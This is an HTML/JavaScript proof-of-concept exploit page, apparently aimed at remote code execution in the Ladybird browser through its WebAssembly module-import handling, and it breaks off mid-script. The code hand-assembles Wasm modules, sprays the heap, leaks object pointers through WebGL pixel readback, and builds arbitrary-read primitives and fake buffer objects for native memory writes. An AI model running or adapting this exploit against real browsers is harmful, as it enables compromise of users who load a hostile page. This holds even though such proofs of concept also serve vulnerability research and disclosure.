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| <!DOCTYPE html>
<meta charset="utf-8">
<title>Ladybird WebAssembly ESM host function RCE PoC</title>
<body>
<pre id="log"></pre>
<script>
(async () => {
const output = document.getElementById("log");
function log(message) {
const line = String(message);
console.log(line);
output.textContent += line + "\n";
}
const PAGE_SIZE = 65536;
const PAGE_COUNT = 3;
const TOTAL_BYTES = PAGE_SIZE * PAGE_COUNT;
const WIDTH = 256;
const HEIGHT = TOTAL_BYTES / (WIDTH * 4);
const READBACK_ROWS = 16;
const HOLDER_ELEMENT_COUNT = TOTAL_BYTES / 16;
const WRITE_VALUE = 0x12345678;
const FAKE_WRITE_VALUE = 0x41424344;
const TARGET_BUFFER_SIZE = 0x800;
const STOP_AFTER_NATIVE_WRITE = false;
const heapNoise = [];
async function settleHeap() {
for (let i = 0; i < 64; ++i)
heapNoise.push(new Uint8Array(0x4000));
if (heapNoise.length > 256)
heapNoise.splice(0, 128);
await new Promise(resolve => setTimeout(resolve, 0));
}
function encodeULEB128(value) {
const bytes = [];
do {
let byte = value & 0x7f;
value >>>= 7;
if (value !== 0)
byte |= 0x80;
bytes.push(byte);
} while (value !== 0);
return bytes;
}
function encodeSLEB128BigInt(value) {
const bytes = [];
let more = true;
while (more) {
let byte = Number(value & 0x7fn);
value >>= 7n;
const signBitSet = (byte & 0x40) !== 0;
if ((value === 0n && !signBitSet) || (value === -1n && signBitSet))
more = false;
else
byte |= 0x80;
bytes.push(byte);
}
return bytes;
}
function encodeI32Immediate(value) {
let signed = BigInt(value) & 0xffffffffn;
if (signed >= 0x80000000n)
signed -= 0x100000000n;
return encodeSLEB128BigInt(signed);
}
function encodeU64LE(value) {
const bytes = [];
for (let i = 0; i < 8; ++i)
bytes.push(Number((value >> BigInt(8 * i)) & 0xffn));
return bytes;
}
function decodeU64LE(bytes, offset) {
let value = 0n;
for (let i = 0; i < 8; ++i)
value |= BigInt(bytes[offset + i]) << BigInt(8 * i);
return value;
}
function encodeU128LE(low, high) {
return [...encodeU64LE(low), ...encodeU64LE(high)];
}
function encodeString(string) {
const encoded = new TextEncoder().encode(string);
return [...encodeULEB128(encoded.length), ...encoded];
}
function section(id, payload) {
return [id, ...encodeULEB128(payload.length), ...payload];
}
function functionTypeRaw(params, results) {
return [
0x60,
...encodeULEB128(params.length),
...params.flat(),
...encodeULEB128(results.length),
...results.flat(),
];
}
function functionBody(bytes, locals = []) {
return [...encodeULEB128(encodeULEB128(locals.length).length + locals.flat().length + bytes.length), ...encodeULEB128(locals.length), ...locals.flat(), ...bytes];
}
function hex64(value) {
return value.toString(16).padStart(16, "0");
}
function decodeJSObjectPointer(word) {
if ((word >> 48n) !== 0xfff9n)
return null;
let pointer = word & 0x0000ffffffffffffn;
if (pointer & 0x0000800000000000n)
pointer |= 0xffff000000000000n;
return pointer;
}
const i32 = 0x7f;
const v128 = 0x7b;
const arrayref = 0x6a;
const refNull = 0x63;
const arrayType = 0x5e;
const gcObjectTag = 6n;
function wasmGcSprayModule() {
const victimArrayType = [arrayType, i32, 0x01];
const holderArrayType = [arrayType, refNull, 0x00, 0x01];
const typeSection = section(1, [
0x04,
...victimArrayType,
...holderArrayType,
...functionTypeRaw([], []),
...functionTypeRaw([], [i32]),
]);
const functionSection = section(3, [
0x03,
0x02,
0x02,
0x03,
]);
const globalSection = section(6, [
0x02,
refNull, 0x00, 0x01,
0xd0, 0x00, 0x0b,
refNull, 0x01, 0x01,
0xd0, 0x01, 0x0b,
]);
const exportSection = section(7, [
0x03,
...encodeString("init"), 0x00, 0x00,
...encodeString("spray"), 0x00, 0x01,
...encodeString("read"), 0x00, 0x02,
]);
const initBody = functionBody([
0x41, ...encodeSLEB128BigInt(0x11111111n),
0x41, 0x01,
0xfb, 0x06, 0x00,
0x24, 0x00,
0x0b,
]);
const sprayBody = functionBody([
0x23, 0x00,
0x41, ...encodeSLEB128BigInt(BigInt(HOLDER_ELEMENT_COUNT)),
0xfb, 0x06, 0x01,
0x24, 0x01,
0x0b,
]);
const readBody = functionBody([
0x23, 0x00,
0x41, 0x00,
0xfb, 0x0b, 0x00,
0x0b,
]);
const codeSection = section(10, [
0x03,
...initBody,
...sprayBody,
...readBody,
]);
return new Uint8Array([
0x00, 0x61, 0x73, 0x6d,
0x01, 0x00, 0x00, 0x00,
...typeSection,
...functionSection,
...globalSection,
...exportSection,
...codeSection,
]);
}
function wasmGcWriterModule(moduleSpecifier, pointer, writeValue = WRITE_VALUE) {
const victimArrayType = [arrayType, i32, 0x01];
const typeSection = section(1, [
0x03,
...victimArrayType,
...functionTypeRaw([], [arrayref]),
...functionTypeRaw([], []),
]);
const importSection = section(2, [
0x01,
...encodeString(moduleSpecifier),
...encodeString("host"),
0x00,
0x01,
]);
const functionSection = section(3, [0x01, 0x02]);
const startSection = section(8, [0x01]);
const body = functionBody([
...Array.from({ length: 8 }, () => [0xfd, 0x0c, ...encodeU128LE(pointer, gcObjectTag)]).flat(),
0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a,
0x10, 0x00,
0xfb, 0x17, 0x00,
0x41, 0x00,
0x41, ...encodeI32Immediate(writeValue),
0xfb, 0x0e, 0x00,
0x0b,
], [[0x01, v128]]);
const codeSection = section(10, [0x01, ...body]);
return new Uint8Array([
0x00, 0x61, 0x73, 0x6d,
0x01, 0x00, 0x00, 0x00,
...typeSection,
...importSection,
...functionSection,
...startSection,
...codeSection,
]);
}
function wasmArrayLenRead32Module(moduleSpecifier, address) {
const fakeBase = address - 24n;
const typeSection = section(1, [
0x02,
...functionTypeRaw([], [arrayref]),
...functionTypeRaw([], []),
]);
const importSection = section(2, [
0x02,
...encodeString(moduleSpecifier),
...encodeString("host"),
0x00,
0x00,
...encodeString(moduleSpecifier),
...encodeString("memory"),
0x02,
0x00, 0x01,
]);
const functionSection = section(3, [0x01, 0x01]);
const startSection = section(8, [0x01]);
const body = functionBody([
0x41, 0x00,
...Array.from({ length: 8 }, () => [0xfd, 0x0c, ...encodeU128LE(fakeBase, gcObjectTag)]).flat(),
0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a,
0x10, 0x00,
0xfb, 0x0f,
0x36, 0x02, 0x00,
0x0b,
], [[0x01, v128]]);
const codeSection = section(10, [0x01, ...body]);
return new Uint8Array([
0x00, 0x61, 0x73, 0x6d,
0x01, 0x00, 0x00, 0x00,
...typeSection,
...importSection,
...functionSection,
...startSection,
...codeSection,
]);
}
async function read32(importURL, address) {
const memory = new WebAssembly.Memory({ initial: 1 });
globalThis.__gcarrayReadMemory = memory;
const providerURL = URL.createObjectURL(new Blob([`
export const memory = globalThis.__gcarrayReadMemory;
export function host() {
return null;
}
`], { type: "text/javascript" }));
const moduleURL = URL.createObjectURL(new Blob([
wasmArrayLenRead32Module(providerURL, address)
], { type: "application/wasm" }));
try {
await import(moduleURL);
return BigInt(new DataView(memory.buffer).getUint32(0, true));
} finally {
URL.revokeObjectURL(moduleURL);
URL.revokeObjectURL(providerURL);
}
}
async function read64(importURL, address) {
const low = await read32(importURL, address);
const high = await read32(importURL, address + 4n);
return low | (high << 32n);
}
function write64(view, offset, value) {
view.setUint32(offset, Number(value & 0xffffffffn), true);
view.setUint32(offset + 4, Number((value >> 32n) & 0xffffffffn), true);
}
function mostFrequentPointer(pointers) {
const counts = new Map();
for (const pointer of pointers)
counts.set(pointer, (counts.get(pointer) || 0) + 1);
let best = 0n;
let bestCount = 0;
for (const [pointer, count] of counts) {
if (count > bestCount) {
best = pointer;
bestCount = count;
}
}
return best;
}
async function leakMapObjectPointers(valueObject) {
const memory64Bytes = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x05, 0x04, 0x01, 0x05, 0x03, 0x04,
0x07, 0x05, 0x01, 0x01, 0x6d, 0x02, 0x00,
]);
const { instance } = await WebAssembly.instantiate(memory64Bytes, {});
const memory = instance.exports.m;
const original = new Uint8ClampedArray(memory.buffer, 0, TOTAL_BYTES);
for (let i = 0; i < original.length; i += 4) {
original[i + 0] = 0x44;
original[i + 1] = 0x55;
original[i + 2] = 0x66;
original[i + 3] = 0xff;
}
const imageData = new ImageData(original, WIDTH, HEIGHT);
const canvas = document.createElement("canvas");
canvas.width = WIDTH;
canvas.height = HEIGHT;
const gl = canvas.getContext("webgl2");
log(`gcarray map webgl2 context: ${!!gl}`);
if (!gl)
return [];
const texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
gl.pixelStorei(gl.UNPACK_ALIGNMENT, 1);
await settleHeap();
memory.grow(1);
const marker = valueObject || { marker: 0x5150 };
const mapRoots = [];
for (let r = 0; r < 32; ++r) {
const map = new Map();
for (let i = 0; i < 2868; ++i)
map.set({ r, i }, marker);
mapRoots.push(map);
}
globalThis.__gcarrayMapLeakRoots = { marker, mapRoots };
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, imageData);
const framebuffer = gl.createFramebuffer();
gl.bindFramebuffer(gl.FRAMEBUFFER, framebuffer);
gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, texture, 0);
const out = new Uint8Array(WIDTH * READBACK_ROWS * 4);
gl.readPixels(0, 0, WIDTH, READBACK_ROWS, gl.RGBA, gl.UNSIGNED_BYTE, out);
const pointers = [];
for (let i = 0; i + 7 < out.length; i += 8) {
const objectPointer = decodeJSObjectPointer(decodeU64LE(out, i));
if (objectPointer !== null && (objectPointer & 7n) === 0n)
pointers.push(objectPointer);
}
log(`gcarray map object pointers: ${pointers.slice(0, 8).map(hex64).join(",")}`);
return pointers;
}
async function leakGcArrayPointers(spray) {
const memory64Bytes = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x05, 0x04, 0x01, 0x05, 0x03, 0x04,
0x07, 0x05, 0x01, 0x01, 0x6d, 0x02, 0x00,
]);
const { instance } = await WebAssembly.instantiate(memory64Bytes, {});
const memory = instance.exports.m;
const original = new Uint8ClampedArray(memory.buffer, 0, TOTAL_BYTES);
for (let i = 0; i < original.length; i += 4) {
original[i + 0] = 0x11;
original[i + 1] = 0x22;
original[i + 2] = 0x33;
original[i + 3] = 0xff;
}
const imageData = new ImageData(original, WIDTH, HEIGHT);
const canvas = document.createElement("canvas");
canvas.width = WIDTH;
canvas.height = HEIGHT;
const gl = canvas.getContext("webgl2");
log(`gcarray webgl2 context: ${!!gl}`);
if (!gl)
return [];
const texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
gl.pixelStorei(gl.UNPACK_ALIGNMENT, 1);
await settleHeap();
memory.grow(1);
spray();
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, imageData);
const framebuffer = gl.createFramebuffer();
gl.bindFramebuffer(gl.FRAMEBUFFER, framebuffer);
gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, texture, 0);
const out = new Uint8Array(WIDTH * READBACK_ROWS * 4);
gl.readPixels(0, 0, WIDTH, READBACK_ROWS, gl.RGBA, gl.UNSIGNED_BYTE, out);
const pointers = [];
for (let i = 0; i + 15 < out.length; i += 16) {
const low = decodeU64LE(out, i);
const high = decodeU64LE(out, i + 8);
if (high === gcObjectTag && low !== 0n && (low & 7n) === 0n)
pointers.push(low);
if (high === 0n && low > 0x10000n && (low & 7n) === 0n)
pointers.push(low);
}
const prefix = [];
for (let i = 0; i + 7 < Math.min(out.length, 128); i += 8)
prefix.push(hex64(decodeU64LE(out, i)));
log(`gcarray readback prefix: ${prefix.join(",")}`);
log(`gcarray leaked gc refs: ${pointers.slice(0, 8).map(hex64).join(",")}`);
return pointers;
}
const fakeBuffer = new ArrayBuffer(128);
const fakeView = new DataView(fakeBuffer);
const targetBuffer = new ArrayBuffer(TARGET_BUFFER_SIZE);
const targetView = new DataView(targetBuffer);
globalThis.__gcarrayFakeBuffers = { fakeBuffer, targetBuffer };
const fakeBufferPointers = await leakMapObjectPointers(fakeBuffer);
const fakeBufferObject = mostFrequentPointer(fakeBufferPointers);
if (fakeBufferObject === 0n) {
log("gcarray no fake buffer object pointer");
return;
}
log(`gcarray fake buffer object: ${hex64(fakeBufferObject)}`);
const targetBufferPointers = await leakMapObjectPointers(targetBuffer);
const targetBufferObject = mostFrequentPointer(targetBufferPointers);
if (targetBufferObject === 0n) {
log("gcarray no target buffer object pointer");
return;
}
log(`gcarray target buffer object: ${hex64(targetBufferObject)}`);
const heapHighBits = fakeBufferObject & 0xffffffff00000000n;
log(`gcarray heap high bits: ${hex64(heapHighBits)}`);
let sprayInstance;
try {
sprayInstance = (await WebAssembly.instantiate(wasmGcSprayModule(), {})).instance;
log("gcarray spray module instantiated");
} catch (e) {
log("gcarray spray instantiate failed: " + e.name + ": " + e.message);
return;
}
sprayInstance.exports.init();
log(`gcarray before write: ${sprayInstance.exports.read()}`);
const pointers = await leakGcArrayPointers(() => {
for (let i = 0; i < 24; ++i)
sprayInstance.exports.spray();
});
if (pointers.length === 0) {
log("gcarray no leaked wasm gc pointer");
|
